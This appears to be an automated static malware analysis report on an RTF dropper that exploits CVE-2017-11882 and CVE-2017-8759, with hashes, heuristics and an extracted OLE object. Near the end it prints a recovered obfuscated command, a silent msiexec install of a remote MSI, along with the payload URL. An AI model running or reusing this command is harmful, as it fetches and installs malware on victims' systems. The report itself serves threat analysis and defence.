Malicious RTF — malware analysis report

Static analysis result for SHA-256 f30d4b664c8557d7…

MALICIOUS

RTF

229.6 KB Created: 2020-01-14 12:02:00 First seen: 2020-09-07
MD5: 630445cf55ed44281ad345e0e0035bd2 SHA-1: f7c43ca9d9ee8790f66721b987dc3f65c7e3060b SHA-256: f30d4b664c8557d7aae94c86fd1ed6526e41411d792090df0691edb5cc674367
262 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF document exploits known vulnerabilities, specifically CVE-2017-11882 (Equation Editor FONT record overflow) and CVE-2017-8759 (MSXML SAX OLE activation). These exploits are designed to execute embedded OLE objects, which in this case contain shellcode and a suspicious URL pointing to 'http://redflagalgerie.com/admin/ergo.msi'. This suggests the file acts as a dropper for a second-stage payload.

Heuristics 7

  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • CVE-2017-8759 — MSXML SAX OLE activation critical CVE likely CVE_2017_8759
    RTF contains a hex-encoded OLE1 object for Msxml2.SAXXMLReader.6.0 followed by an embedded OLE compound document, and the document requests OLE activation. This matches the RTF staging shape used for CVE-2017-8759 SOAP/WSDL parser code injection.
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 3 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://redflagalgerie.com/admin/ergo.msi In RTF body
    • http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off0000898f.bin rtf-objdata-decoded RTF \objdata at offset 0x898F 15892 bytes
SHA-256: 760c327d9b01d343ba9130ff5e66c665e1157c5d2bf60da8f7119f753c139dd9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://redflagalgerie.com/admin/ergo.msi Static shellcode analysis recovered command string(s): cmd.exe /C m^sie^xec^.exe /i http://redflagalgerie.com/admin/ergo.msi /qn

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